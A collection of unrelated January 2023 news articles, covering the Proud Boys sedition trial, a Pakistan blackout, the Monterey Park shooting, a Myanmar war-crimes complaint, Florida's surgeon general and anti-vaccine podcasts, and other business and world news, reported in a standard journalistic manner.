WASHINGTON (AP)  The month before the riot at the U.S. Capitol, members of the Proud Boys were growing increasingly angry about the outcome of the 2020 election and were expecting a civil war, a former member told jurors on Tuesday as he took the stand in the seditious conspiracy case against the group's former leader.

Matthew Greene testified in the case against former Proud Boys national chairman Enrique Tarrio and four lieutenants under a cooperation deal with the government after pleading guilty to storming the Capitol on Jan. 6, 2021, with fellow extremists.

Greene told jurors that the Proud Boys' conversations became more heated as December 2020 wore on and challenges to President Donald Trump's election loss were unsuccessful. The Proud Boys were getting ready and willing for anything that was going to happen, Greene said, adding that the group saw itself as essentially the tip of the spear.

We were openly expecting a civil war at that point, Greene said.

Greene is the first Proud Boys cooperator to take the stand in the case accusing Tarrio and associates of plotting to forcibly stop the transfer of power from Trump to President Joe Biden. He was the first Proud Boys member in December 2021 to publicly plead guilty to conspiring with others to stop Congress from certifying the Electoral College vote. He's cooperating with prosecutors in the hopes of getting a lighter sentence.

Prosecutors allege that members of the Proud Boys carried out a coordinated attack on the Capitol in a desperate attempt to keep Trump in power. It's one of the most consequential cases to emerge from the Justice Department's sprawling Jan. 6 investigation.

The other co-defendants are Joseph Biggs, of Ormond Beach, Florida, a self-described Proud Boys organizer; Zachary Rehl, who was president of the Proud Boys chapter in Philadelphia; and Dominic Pezzola, a Proud Boys member from Rochester, New York.

Defense attorneys say there is no evidence that the Proud Boys plotted to attack the Capitol and stop Congress from certifying the Electoral College vote on Jan. 6. A lawyer for Tarrio has acknowledged that the former chairman and other self-described Western chauvinists in the Proud Boys shared offensive messages, but said it was Trump who unleashed the mob that attacked the Capitol.

Story continues

Greene, who was a new recruit to the Proud Boys on Jan. 6 and says he has since left the group, said he didn't know of any specific plan to storm the Capitol. He said leaders didn't overtly encourage members to use force, but when it did happen it was celebrated.

My expectation was, if there was violence started, you should not back down," he said.

Tarrio, whos from Miami, wasnt in Washington on Jan. 6 because he was arrested two days before the riot and charged with vandalizing a Black Lives Matter banner at a historic Black church during a protest in December 2020. He was ordered to leave the capital, but prosecutors say he remained engaged in the extremist groups planning for Jan. 6.

Others who may testify against Tarrio include Jeremy Bertino, the only Proud Boy who has pleaded guilty to seditious conspiracy. A statement of offense filed in court says that Bertino understood the Proud Boys goal in traveling to Washington was to stop the certification Bidens victory and that the group was prepared to use force and violence if necessary to do so.

Greenes testimony comes a day after four members of another far-right group, the Oath Keepers, were convicted of seditious conspiracy in a separate case at the same Washington courthouse. The groups leader and another Oath Keeper were convicted of sedition in November.

Greene traveled from Syracuse, New York, to Washington, with other Proud Boys on Jan. 5 and was at the front of the mob on Jan. 6 when police began using pepper spray and other crowd-control measures.

One of those was Pezzola, who is accused of wrestling a police riot shield away from an officer and later smashing a Capitol window. Greene was with him around the time that happened, but soon after began having second thoughts and turned back, he testified. He didn't see Pezzola again until much later that day.

___

Associated Press writer Alanna Durkin Richer in Boston contributed to this report.

____

Follow APs coverage of the Capitol riot at: https://apnews.com/hub/capitol-siege
Distribution system breakdown triggers power outage across Pakistan

Xinhua) 09:32, January 24, 2023

A shopkeeper starts a generator during a countrywide power outage in Hyderabad, Pakistan, Jan. 23, 2023. Millions of Pakistanis encountered power outage on Monday morning after the power distribution system of the South Asian country broke down, said the ministry of energy. (Str/Xinhua)

ISLAMABAD, Jan. 23 (Xinhua) -- Millions of Pakistanis encountered power outage on Monday morning after the power distribution system of the South Asian country broke down, said the ministry of energy.

The energy ministry said in a statement the countrywide power breakdown was triggered after the frequency of the national grid decreased suddenly.

"According to initial reports, the system frequency of the national grid system decreased at 07:34 in the morning, which resulted in a widespread breakdown in the power system," said the ministry.

The ministry added that efforts were underway on a fast track to restore the system as early as possible.

Local media quoting unanimous officials from the ministry reported that it might take 24 hours to restore the system completely.

According to the local reports, all major cities including the capital Islamabad, Lahore, Karachi, Peshawar and Quetta have lost power supply completely.

Quetta Electric Supply Company told local media that 22 districts of the country's southwest Balochistan province are without power.

This photo taken on Jan. 23, 2023 shows an empty amusement park during a countrywide power outage in Hyderabad, Pakistan. Millions of Pakistanis encountered power outage on Monday morning after the power distribution system of the South Asian country broke down, said the ministry of energy. (Str/Xinhua)

(Web editor: Peng Yukai, Liu Ning)
A member of the Proud Boys wearing a t-shirt that reads "death to liberals" stands with other Proud Boys in Freedom Plaza during a protest on December 12, 2020 in Washington, DC. Stephanie Keith/Getty Images

A Proud Boys "initiation ceremony manual" details the far-right group's policy on masturbation.

"A Proud Boy may not ejaculate alone more than once every 30 days," the manual states.

Prosecutors are seeking to introduce the manual as evidence in a January 6 sedition trial.

A manual for new recruits to the far-right Proud Boys organization details the extremist group's peculiar stance on masturbation: while its exclusively male members are encouraged to drink booze and engage in street violence against anti-fascists  ostensibly in self-defense  they are told to follow a strict policy of "No Wanks."

Federal prosecutors are seeking to introduce the document as evidence in the ongoing seditious conspiracy trial involving five Proud Boys, including former leader Enrique Tarrio, accused of taking part in the January 6 insurrection. All have pleaded not guilty. The manual was seized by federal authorities two years ago and recently made public, according to new court papers released as part of the US District Court trial in Washington, DC.

"A Proud Boy may not ejaculate alone more often than once every thirty days," states the group's "initiation ceremony manual," the document reads.

"That means he must abstain from pornography during that time and if he needs to ejaculate it must be within one yard of a woman with her consent. The woman may not be a prostitute."

An excerpt from a Proud Boys defense motion filed January 23, 2023 in US District Court in Washington, DC. Insider

The Anti-Defamation League considers the Proud Boys a violent, right-wing extremist group whose members commonly engage in misogynistic, Islamaphobic, transphobic, and anti-immigration rhetoric.

The ban on masturbation was imposed by Gavin McInnes, who founded the group in 2016 as a street gang in defense of "Western chauvinism." As detailed by journalist Andy Campbell in his book, "We Are Proud Boys," members of the group are expected to adhere to the policy if they wish to advance to the second of its four tiers of membership.

McInnes cut ties with the group in 2018 after several members were arrested for assaulting anti-fascists outside of a talk he gave in Manhattan honoring a far-right Japanese assassin.

Story continues

Recognizing that the manual and its policies are at best odd, a defense lawyer for Dominic Pezzola  one of the Proud Boys accused of sedition for their part in trying to overturn the 2020 election  is trying to block prosecutors from mentioning it at the trial. Indeed, the defense attorney highlighted the policy on masturbation, among others, suggesting it might influence jurors.

"The document is riddled with politically incorrect remarks and assertions which would cause most or many Americans to recoil in anger, hatred, and disgust," states the defense motion filed in federal court on Monday.

Have a news tip? Email this reporter: cdavis@insider.com

Read the original article on Business Insider
(Reuters) - President Vladimir Putin said on Tuesday that there were shortages of some medicines in Russia, despite the country producing more of its own drugs, and suggested building up stocks of popular medicines to help meet demand.

While prescription drugs are exempt from Western sanctions imposed over the war in Ukraine, their delivery to Russia has been hit by transport, insurance and customs hurdles caused by the war and other restrictive measures, industry figures say.

"There has been a shortage of some drugs, despite the fact that we saw production of pharmaceutical products in the (first) three quarters of last year grow by about 22%," Putin said in a televised meeting with government officials.

"Sixty percent of medicines on the market are domestic drugs. Nevertheless, a deficit has formed in some drugs, and prices have risen."

He added that Russia does not restrict imports of drugs and continues to work with foreign manufacturers.

"We need to ensure there are supplies of the most popular drugs within a certain period of time," he said, suggesting that Russia could stockpile drugs for the flu season in the same way it builds up gas reserves in preparation for winter.

Shortly after Russia invaded Ukraine in February last year, Russians rushed to stock up on drugs, with people buying a month's worth of medicine in just two weeks.

Russia also imports a large share of its medical equipment, such as pacemakers and radiotherapy devices, from the European Union and the United States, and its reliance is particularly acute for the most complex and critical machines.

(Reporting by Reuters; Writing by Caleb Davis; Editing by Mark Trevelyan)
When a single insider purchases stock, it is typically not a major deal. However, when multiple insiders purchase stock, like in RPM Automotive Group Limited's (ASX:RPM) instance, it's good news for shareholders.

While insider transactions are not the most important thing when it comes to long-term investing, we would consider it foolish to ignore insider transactions altogether.

See our latest analysis for RPM Automotive Group

RPM Automotive Group Insider Transactions Over The Last Year

There wasn't any very large single transaction over the last year, but we can still observe some trading.

In the last twelve months insiders purchased 313.85k shares for AU$88k. On the other hand they divested 102.54k shares, for AU$32k. In the last twelve months there was more buying than selling by RPM Automotive Group insiders. You can see a visual depiction of insider transactions (by companies and individuals) over the last 12 months, below. If you want to know exactly who sold, for how much, and when, simply click on the graph below!

RPM Automotive Group is not the only stock insiders are buying. So take a peek at this free list of growing companies with insider buying.

Insider Ownership Of RPM Automotive Group

I like to look at how many shares insiders own in a company, to help inform my view of how aligned they are with insiders. A high insider ownership often makes company leadership more mindful of shareholder interests. Insiders own 7.6% of RPM Automotive Group shares, worth about AU$2.3m, according to our data. But they may have an indirect interest through a corporate structure that we haven't picked up on. Whilst better than nothing, we're not overly impressed by these holdings.

So What Do The RPM Automotive Group Insider Transactions Indicate?

There haven't been any insider transactions in the last three months -- that doesn't mean much. However, our analysis of transactions over the last year is heartening. The transactions are fine but it'd be more encouraging if RPM Automotive Group insiders bought more shares in the company. So while it's helpful to know what insiders are doing in terms of buying or selling, it's also helpful to know the risks that a particular company is facing. Case in point: We've spotted 4 warning signs for RPM Automotive Group you should be aware of, and 1 of these is a bit unpleasant.

Story continues

If you would prefer to check out another company -- one with potentially superior financials -- then do not miss this free list of interesting companies, that have HIGH return on equity and low debt.

For the purposes of this article, insiders are those individuals who report their transactions to the relevant regulatory body. We currently account for open market transactions and private dispositions, but not derivative transactions.

Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team (at) simplywallst.com.



This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.

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Among the big Canadian banks, RBC has faced the most criticism for its ties to the fossil fuel sector. (GETTY)

New York City's comptroller and three NYC pension plans are calling on Royal Bank of Canada (RBC) (RY.TO)(RY) to spell out absolute greenhouse gas emissions targets for 2030.

In a statement on Tuesday, Canada's largest commercial bank was cited with Wall Street peers Bank of America (BAC), Goldman Sachs Group (GS), and JPMorgan Chase (JPM) for "not taking a basic step of setting interim reduction targets that account for total portfolio emissions."

New York City Comptroller Brad Lander, the New York City Employees' Retirement System, Teachers' Retirement System, and Board of Education Retirement System say they have filed shareholder proposals recommending "an absolute reduction target aligned with a science-based net zero emissions pathway" for each lender.

"Shareholders applauded these banks when they set net-zero goals  but it can't be all talk. We expect them to take the steps needed now to reduce emissions on the timeline to which they have committed," Lander stated on Tuesday. "Absent a concrete plan to reduce absolute emissions in the real world in the near term, any net-zero plan rings hollow."

According to Tuesday's release, as of November 2022, the three New York City Retirement systems combined had a total holding of:

7.74 million shares of Bank of America stock valued at US$239.04 million

437 thousand shares of Goldman Sachs stock valued at US$168.82 million

2.99 million shares of JPMorgan Chase stock valued at US$412.91 million, and

293 thousand shares of Royal Bank of Canada stock valued at US$28.92 million

All of the named institutions are members of the UN's Net-Zero Banking Alliance, which includes a commitment to "annually publish absolute emissions and emissions intensity in line with best practice and within a year of setting targets."

Among the big Canadian banks, RBC has faced the most criticism for its ties to the fossil fuel sector.

Story continues

Last month, when HSBC Holdings announced plans to halt new lending or capital markets financing for new oil and gas fields, the Canadian unit of the bank set to be sold to RBC was exempted. In October, the Competition Bureau of Canada launched an investigation into "false or misleading environmental representations" by the bank.

"We are committed to achieving net-zero in our lending by 2050, and have established interim emissions reduction targets that will help us drive action and measure progress," Andrew Block, RBC's senior director for climate communication, wrote in an email to Yahoo Finance Canada on Tuesday.

"These targets are informed by science and reflect a measured and deliberate approach to climate action. We expect that they will evolve over time as methodologies, data and decarbonization pathways advance."

"This is big deal, big money coming to the table to challenge RBC and other major banks on their emissions and ultimately their fossil fuel company financing," Richard Brooks, climate finance director at North American environmental organization Stand.earth, said on Tuesday.

"New York City recognizes that climate change doesn't respect borders, and Canada's largest bank needs to get on side with the science if we have a hope of reducing emissions globally."

Jeff Lagerquist is a senior reporter at Yahoo Finance Canada. Follow him on Twitter @jefflagerquist.

Download the Yahoo Finance app, available for Apple and Android.
Tank Leopard 2

Read also: Why we need Leopard 2A5 tanks

In particular, the enterprise is ready to ship 29 Leopard 2A4 tanks intended for a "chain swap" in April-May this year. Under the chain swap deal, Germany would supply Leopard tanks to countries that handed over their old Soviet-designed tanks to Ukraine.

The German defense company said it would take almost a year to repair 22 more Leopards of the same type, and they could be handed over only in late 2023 or early 2024.

Rheinmetall also said that it could transfer another 88 older Leopards, but their condition is currently unknown.

At the Ramstein format summit on Jan. 20, Ukraines military allies failed to agree to supply Leopards to Ukraine, with the German government in particular foot-dragging on taking a decision.

Some of Ukraines partner states have expressed their readiness to provide Ukraine with German-made Leopard tanks, but are waiting for Berlin's permission to re-export them tanks.

On Jan. 23, German government spokesperson Steffen Hebestreit said that Berlin continues to discuss the possibility of transferring main battle tanks to Ukraine, but has to take into account the opinions of the German public.

Read the original article on The New Voice of Ukraine
[Source]

A .308 caliber rifle and hundreds of rounds of loose ammunition have been discovered in the home of Huu Can Tran, the lone suspect in Saturdays mass shooting in Monterey Park, California.

Tran, 72, was found dead from a self-inflicted gunshot wound in a white cargo van hours after the massacre, for which the death toll rose to 11 by Monday. All victims have been identified as of press time.

Tran allegedly used a 9-millimeter semi-automatic MAC-10 pistol with an extended large-capacity magazine when he fired a total of 42 shots at the scene, CNN reported. Aside from the rifle and ammo, investigators searching his home found items that suggested he was building DIY firearm suppressors.

Tran, according to his ex-wife, had a short temper.

More from NextShark: Wash. jury sides with Issaquah officers accused of excessive force that killed an Alzheimers patient

Another acquaintance claimed that he was hostile to a lot of people at the shooting site, Star Ballroom Dance Studio, which he previously frequented.

Police in Hemet, where Tran resided, said he visited their department twice earlier this month to complain about offenses of family members allegedly committed up to 20 years ago, including poisoning.

Tran visited the Hemet Police Department lobby on January 7 and 9, 2023, alleging past fraud, theft, and poisoning allegations involving his family in the Los Angeles area 10 to 20 years ago, Hemet police said. Tran stated he would return to the station with documentation regarding his allegations but never returned.

More from NextShark: Man Stays Perfectly Calm During Cyclist's Racist Meltdown in Brooklyn

Chester Chong, chair of the Chinese Chamber of Commerce of Los Angeles, said community conversations in WeChat point to a personal motive.

Tran was allegedly looking for a woman who had been invited to an event at the ballroom.

He, on the other hand, was not invited, which allegedly upset him.

More from NextShark: Open Society Foundations pledges over $40 million in grants to Asian, Arab, Muslim communities

The men maybe hate that the wife goes down there and goes dancing with other men, Chong told the Los Angeles Times. A lot of lonely people go down there to date  other people.

Story continues

A Monterey Park resident identified only as "Grace" described hearing a similar account on WeChat.

Grace explained that she learned through a WeChat group that Tran was allegedly jealous that a woman he knew was invited to the dance without him.

More from NextShark: Artist Christine Sun Kim Becomes the First Deaf Asian American to Sign the National Anthem at the Super Bowl

So many people went to the facility every day, Grace told the LA Times. It [the shooting] is sad and extremely cruel.

Amid various claims, Los Angeles County Sheriff Robert Luna stressed Monday that a motive has not been confirmed. Tran also had a limited criminal history, with one arrest in 1990 for unlawful possession of a firearm.

We do not have a motive yet. We want to know as much as all of you, and were working very hard to attain that, Luna said.
BANGKOK (AP)  A human rights group and 16 people from Myanmar have filed a criminal complaint in Germany seeking punishment of Myanmar's generals for genocide, war crimes and crimes against humanity they alleged were committed in that country after their 2021 government takeover and during a 2017 crackdown on minority Rohingya Muslims.

Fortify Rights, a complainant in the case announced Tuesday in Bangkok, said the individuals responsible for crimes related to both have yet to be held accountable.

Ines Peterson, spokesperson for Germany's federal prosecutors office, confirmed that the legal complaint had been received but said she could not immediately elaborate. The office would have to decide whether to file an indictment before the matter can go to court, a potentially lengthy process.

The actions of Myanmar's generals also are under investigation by the International Criminal Court and in a genocide case at the International Court of Justice, also known as the World Court.

Activists seeking accountability have also filed cases in national courts in Argentina, Turkey and now Germany as well, under the concept of universal jurisdiction.

The legal principle allows prosecution for mass atrocities regardless of location or nationality when the offenses are so severe they represent crimes against the entire international community, said Matthew Smith, chief executive officer and co-founder at Fortify Rights.

An investigation and subsequent prosecution of these crimes under German law would serve to punish those who have committed the gravest of crimes, prevent future crimes by perpetrators in Myanmar, and signal to other would-be perpetrators in Myanmar and elsewhere that accountability for atrocity crimes cannot be avoided, Fortify Rights said in a statement.

The complaint was filed days before the anniversary of the militarys Feb. 1, 2021, seizure of power from an elected government led by Aung San Suu Kyi, who is now serving a 33-year prison sentence for alleged crimes widely thought to have been concocted to legitimize military rule. The German complaint also comes more than five years after the brutal 2017 counterinsurgency operation carried out by Myanmars security forces against the countrys Muslim Rohingya minority.

Story continues

About 740,000 Rohingya fled into neighboring Bangladesh after their villages were burned and they became targets for mass rape and murder. The military is accused of carrying out similar atrocities against people throughout Myanmar who opposed the 2021 army takeover and sought a return to democracy, finally taking up arms when their peaceful protects were quashed with deadly force.

About half of the 16 people who brought the German complaint are victims of the brutality against the Rohingya and the others suffered abuses carried out after the 2021 army takeover.

According to Fortify Rights, the latter include students, scholars, farmers, former village heads and homemakers, and are from multiple ethnic groups.

One of the complainants is a 51-year-old Rohingya woman who lost family members and was injured by soldiers, according to Fortify Rights, which withheld her name.

The woman's village was entered by soldiers and a mob of non-Rohingya civilians who blocked residents from leaving while burning down houses, the group said. It said individuals under the militarys control raped her daughter-in-law while she was in earshot and as soldiers beat her in an adjacent room.

The Myanmar military killed seven members of her family in the attack on her village and, in a separate incident, cut her with a knife, leaving permanent scars, Fortify Rights said. It said she witnessed piles of dead bodies of Rohingya civilians in her village and military soldiers stabbing, beating, and killing numerous Rohingya men and children. Soldiers killed one child as he begged them for drinking water.

The complaint filed Friday with Germanys federal prosecutors office includes substantial evidence showing that senior military junta officials exercised superior responsibility over subordinates who committed crimes, knew about their subordinates crimes, and failed to take any action to prevent the crimes from happening and to punish the perpetrators, Fortify Rights said.

The group said the evidence submitted in the complaint includes interviews with survivors, leaked documents and information from Myanmar military and police deserters, and previous reports compiled by U.N. investigators and other parties.

German courts applying the principle of universal jurisdiction have in the past few years obtained convictions in cases of torture carried out in Syrian prisons and crimes committed by members of the Islamic State group.

In November 2021, courts in Argentina agreed to investigate allegations of genocide and crimes against humanity against senior Myanmar officials under the universal jurisdiction principle. The London-based Burmese Rohingya Organisation UK had brought its compliant before the courts in 2019.

There was precedent from 2010, when a court in Argentina investigated allegations of human rights abuses during the 1936-1939 Spanish Civil War as well as during Francisco Francos regime and the two years between the dictators death in 1975 and the first democratic elections.

In March last year, the Myanmar Accountability Project, a non-governmental organization, brought a complaint in a Turkish court against Myanmars military leaders for use of torture since their 2021 takeover, charging that the practice has become widespread and systematic. The London-based international group is pursuing various legal actions against the military government.

___

Associated Press writer Frank Jordans in Berlin contributed to this report.
TALLAHASSEE  Days after Gov. Ron DeSantis opened his second term with a combative speech blasting federal COVID-19 policies as based more on ideology and politics than on sound science, Floridas surgeon general was a guest on a podcast called Liberty Lockdown.

Isnt it a beautiful day to be unvaccinated? It feels so good, host Clint Russell said before starting into his conversation with Dr. Joseph Ladapo, the states top doctor who also is a tenured faculty member at the University of Florida.

With DeSantis expected in coming months to formally launch his bid for the 2024 Republican presidential nomination, Ladapo is emerging as a central player in the governors outreach to vaccine skeptics and opponents who now form a stunningly large part of the GOPs national voter base.

DeSantis is making his own appeals to this Republican core, which defies most medical advice on the virus, getting the Florida Supreme Court last month to open a statewide grand jury investigation into what he called crimes and wrongdoing, related to the COVID-19 vaccinations.

DeSantis gets probe he wanted: Florida Supreme Court approves DeSantis call for coronavirus vaccine grand jury

Florida top doc a favorite of far right: Florida Surgeon General Ladapo appears on anti-vaccine podcast, promotes medical falsehoods

DeSantis kept up the drumbeat Jan.17, calling for the Republican-controlled Legislature to make permanent bans on school mask mandates along with government and employer vaccine requirements which had been enacted on a short-term basis in 2021.

Leaning into conspiracies

At a boisterous rally in Republican-leaning Bay County, DeSantis leaned into conspiracy theories, saying there was an effort by the medical establishment, President Joe Biden and the legacy media to impose a bio-medical security state on society.

But how such claims will play with Republican voters across the country is uncertain.

Story continues

I think theres a lot of people who have concerns and theyre really tired of the mainstream doctors glossing that over and saying everything is OK. Hes speaking for a large group of people out there," said Evan Power, chair of the Leon County Republican Party.

Others are concerned about the Florida governor's stance.

Its really scary, said Annette Meeks, a lifelong Republican who heads the Freedom Foundation of Minnesota, a conservative policy group. Weve just become the anti-science party in some states.

Thirty-five percent of self-identified Republicans are unvaccinated, compared with only 6% of Democrats, according to the Kaiser Family Foundations COVID-19 Vaccine Monitor. Anti-vaccine messaging has become part of DeSantis pitch as he gets ready to take the national stage.

I have a great deal of respect for your governor, Meeks added. But along with the whole freedom that he cares to espouse comes personal responsibility. Thats the other half of the conservative coin. But some people dont take that part seriously.

Is it all about the White House? Is Ron DeSantis peaking too soon? The spotlight is on Florida's governor in 2023

In recent months, Ladapo has become a frequent public voice of the administration, appearing on hard-right podcasts airing dubious claims about the vaccines and condemning the federal governments masking, closures and social distancing guidance that marked the early stages of the COVID-19 outbreak that is now stretching into its fourth year.

Its so obvious to me, Dr. Fauci is a complete fraud when it comes to communication, Ladapo told Liberty Lockdown listeners in a podcast aired Jan. 9, taking aim at the now-retired chief medical advisor to both former President Donald Trump and Biden during the pandemic.

His goal is not communication. Its manipulation, Ladapo said.

Recent hard-right appearances

Florida Surgeon Gen. Dr. Joseph A. Ladapo before a bill signing by Gov. Ron DeSantis Thursday, Nov. 18, 2021, in Brandon, Fla. (AP Photo/Chris O'Meara)

The Liberty Lockdown appearance was the doctors latest on podcasts which attract a sizable segment of conservative followers.

Weeks earlier, in a First Class Fatherhood podcast airing Nov. 30, Ladapo urged listeners to rely on intuition, when it came to following medical or scientific advice.

Just check in with your gut. Who do you think you can trust, and go with those individuals, Ladapo told host Alec Lace.

He added about mask-wearing, The best scientific evidence has found no benefit for wearing these in the community, a statement that contradicts most research and vastly overstates even the conclusion of studies that downplay the effectiveness of masks.

Its just nonsense, he said, laughing, while drawing no pushback from Lace.

Ladapo also appeared on right-wing podcasts in the weeks leading up to the November election that DeSantis won by 19% over Democrat Charlie Crist, the largest victory margin in a Florida governors race in 40 years.

He disputed widely accepted views of masking and vaccines on shows hosted by Dr. Sherri Tenpenny, an Ohio physician who promotes false claims about COVID-19 shots and wrongly says childhood vaccines cause autism.

Ladapo also appeared on X22 Report, a far-right podcast known for sharing QAnon-related conspiracies and misinformation. He also was on the podcast of conspiracy theorist Stew Peters, who has touted a wide range of false claims about the 2020 election, COVID-19 and more.

Previous Florida surgeon general questions Ladapo advice

During most of his appearances, Ladapo praises DeSantis for sharing his off-center views, amplifying the governor before thousands of listeners and lending the credibility of Florida government to suspect claims.

His predecessor as Florida Surgeon General, Dr. Scott Rivkees, who served for two years beginning in 2019, has criticized Ladapo, lately for his warning that young men should not be vaccinated against COVID-19 because of possible heart risks.

Ladapos colleagues at the University of Florida Medical School last month criticized him for cherry-picking data to reach his conclusions.

More than 84,000 Floridians have died from COVID-19, while the state has reported about 7.4 million cases since the beginning of the pandemic. At least 1 in 255 Floridians have died from the coronavirus during the pandemic, more than the 1 in 388 resident deaths reported in California, which DeSantis and Ladapo frequently ridicule for tight restrictions.

Its not clear what voice he has with the medical community and if the public is truly listening to him, said Rivkees, a pediatrician and now professor at Brown University School of Public Health.

Rivkees left as surgeon general not long after the DeSantis administration shunted him from public view after he said at an April 2020 COVID-19 news briefing at the state Capitol that people would have to continue social distancing until a vaccine could be approved.

DeSantis by that time was intent on reopening the state following a brief lockdown.

Who is listening to Florida's top doctor?

Of Ladapo, Rivkees said: He has been broadly opposed in his statements and viewpoints by the American Academy of Pediatrics, most medical organizations and many experts. When it comes to vaccine advice, it really has to do with the doctor-patient relationship.

DeSantis, himself, had once promoted vaccines. But while the governor quickly emerged as a leading opponent of vaccine and mask mandates, that now has evolved into a wariness about the effectiveness and safety of the vaccines.

That parallels conservative media, which has embraced vaccine skepticism. Fox News Tucker Carlson has been questioning the safety of vaccines and airing the views of critics who want them taken off the market.

DeSantis has found an eager ally and promoter in Ladapo.

The governor supports the work of the Surgeon General in encouraging truthful dialogue about the nature of  and risks associated with  mRNA COVID vaccines, said Bryan Griffin, a DeSantis spokesman.

When Ladapo was hired in 2021, he earned $362,000 annually in his dual roles at the University of Florida and state Department of Health. A request for his daily schedule and detail on his current salary drew no response from the Health Department.

He may have the ear of people who are not vaccinated or probably are not going to get vaccinated against COVID, Rivkees said. It is not clear what impact he has with people who follow mainstream health care recommendations.

But in public health and medicine, we recognize that anti-vaccine messages can be harmful, he added.

Ladapo has been controversial from the beginning

Ladapos national profile began taking shape when he wrote an opinion piece for The Wall Street Journal in April 2020, titled Lockdowns Wont Stop the Spread.

Later that year, Ladapo, clad in a white medical coat, went to the steps of the U.S. Capitol where he joined others calling themselves Americas Frontline Doctors, opposing measures intended to combat COVID-19.

Ladapo and others in the group supported the use of hydroxychloroquine, an anti-malaria drug, that had been hailed as a COVID-19 treatment by Trump before the Food and Drug Administration cautioned against its use.

Ladapo in 2020 also became a signer of the Great Barrington Declaration, which advocated lifting COVID-19 restrictions on lower-risk groups to promote herd immunity, predicting that approach would somehow still protect vulnerable people.

Other signers include Dr. Jay Bhattacharya, a Stanford professor, and Dr. Martin Kuldorff, a biostatistician and former Harvard Medical School professor, who have frequently advised DeSantis on COVID-19 policy, most recently before his call for a grand jury probe of vaccines and their distribution.

For DeSantis, heading into what could be a crowded Republican presidential field, a high-profile stance challenging Biden on vaccine policy could prove distinctive.

It also may give him some separation from Trump, who led the Operation Warp Speed development of the vaccine and who remains the favorite of many Republican voters for the 2024 nomination.

For Republican voters, DeSantis appears decisive, said Power, the Leon County GOP leader.

I think hes speaking to a provable belief that the vaccines didnt provide what they said they would, Power said. They didnt prevent transmission and there seem to be some side effects that were breezed over in their implementation.

But Power downplayed the role that DeSantis possible presidential ambitions may play in his messaging.

I see it more that hes a bold governor whos taking on challenging issues and doesnt back down from them. Thats made him a popular governor, and Im not shocked hes leading on an important issue like this, Power said.

John Kennedy is a reporter in the USA TODAY Networks Florida Capital Bureau. He can be reached at jkennedy2@gannett.com, or on Twitter at @JKennedyReport

This article originally appeared on USA TODAY: Ladapo on far-right podcasts helps DeSantis woo anti-vaccine voters
Royal Palm Beach High teacher had allegations involving guns lodged against him in November.

Police had concerns about a teachers mental health, guns and possible drug use in the months leading up to his arrest on weapons charges at Royal Palm Beach High School.

Officers with the school districts police department arrested teacher Robert Krasnicki, 42, on campus last week after learning he had a knife and a loaded 9 mm handgun in his waistband, according to an arrest report.

The Palm Beach County Sheriffs Office soon filed for a protection order, requiring him to surrender all of his guns and ammunition, and the document revealed new details about past concerns and allegations surrounding Krasnicki.

Related:Royal Palm Beach High teacher charged with bringing gun, knife to campus

In November, he took pictures with a rifle and a handgun in his bedroom, at one point aiming a gun at the camera before sending the pictures to an ex-girlfriend, the report states.

'Death of a lot of things'

The ex-girlfriend recalled a message that Krasnicki reportedly sent with the images: All black today. Death of a lot of things for a Sunday. Goodbye Rob_7.0 and hello Rob_8.0! Today is the day the Lord has made rejoice and be glad in it! I love you and declare that you are healed.

She also raised allegations against Krasnicki and his work at Royal Palm Beach High.

According to the report, she accused him of getting Xanax pills from other teachers, trading drugs with students in exchange for good grades and using a school district system to lower her sons grades and locate her address.

School district:2 Palm Beach Central High students found fatally shot in Palm Springs

More:Former FAU student sentenced to 24 years in prison for producing child porn

The West Palm Beach Police Department originally took the complaint and notified an officer at the school districts police department. City police did not arrest Krasnicki, and it was not immediately clear whether school police investigated the allegations made against him.

Story continues

A day later, on Nov. 7, a detective with the sheriffs office followed up on the investigation by city police, reviewing the allegations and photos provided by Krasnickis ex-girlfriend.

Palm Beach County school police alerted about weapons, mental health

The sheriffs investigator kept in touch with school police, at one point suggesting they evaluate the teacher for possible detention under the Baker Act, the report continues.

Based on that report, its unclear what happened in the nearly 2 months that passed between the investigations in November and his on-campus arrest this month.

And it wasnt the first time that Krasnicki raised eyebrows in the school district.

The teacher sent a letter to then-Principal Jesus Armas in September 2019 and requested a leave of absence. Krasnicki said he needed time to attend a 30-day treatment program for the trauma caused by a restraining order and divorce petition that his wife filed against him.

Krasnicki told principal his wife feared him, saying it was 'absurd'

In his letter to the school principal, Krasnicki said his wife feared he would murder her, my children, and then kill myself, which is absolutely absurd. He also said his wife's injunction against him "was immediately placed into effect."

If I contact my wife or children, either directly or indirectly, I will automatically go to jail for Domestic Violence for a minimum of two weeks, without bail, the teacher wrote. Also, if I go within 500 feet of either them or their dwellings, schools, or work place, I will be arrested.

Krasnicki joined the school district in 2016. Soon after his arrest last week, Principal Michelle Fleming informed parents about the arrest and said Krasnicki would not be returning to Royal Palm Beach Community School.

The school district said on Tuesday that he was administratively reassigned following a court order for no student or school campus contact."

Krasnicki is facing two counts of possessing a weapon on school property, a felony. He posted his $20,000 bail Friday and was released from custody.

Circuit Judge Kirk Volker granted a temporary order that mandates Krasnicki surrender his guns. A final hearing on the request for a risk protection order is scheduled for Jan. 31.

Giuseppe Sabella is an education reporter at The Palm Beach Post, part of the USA TODAY Florida Network. You can reach him at gsabella@pbpost.com. Help support our journalism and subscribe today.

This article originally appeared on Palm Beach Post: Royal Palm Beach teacher a concern before arrest for gun on campus
Courtesy of Sundance

If you know Sarah Snook as the slick shark Shiv Roy on the quintessentially American Succession, hearing her Australian tongue is jarring. Even in a movie like Run Rabbit Run, which takes place down under, Snook's natural intonations feel like a put-on, if only because she's so defined by the HBO series that has earned her two Emmy nominations.

This works in Snook's favor. Run Rabbit Run premiered at this years Sundance Film Festival, mere hours after becoming one of the lineup's first big acquisitions when Netflix bought the movie with plans to release it later this year. Industry observers have questioned Sundance's commercial power at a time when theatrical moviegoing is suffering, but the festival still produces hits.

Apple paid a reported $25 million for the Sundance opener CODA in 2021, and the crowd-pleaser went on to become the first streaming release to win the Oscar for Best Picture. Before that, Palm Springs, The Farewell, Late Night, The Big Sick, and Manchester by the Sea bucked speculation that Sundance's triumphant dealmaking days were waning. Run Rabbit Runs early acquisition was a sign to the industry that Sundances titles still have the potential for mass appeal.

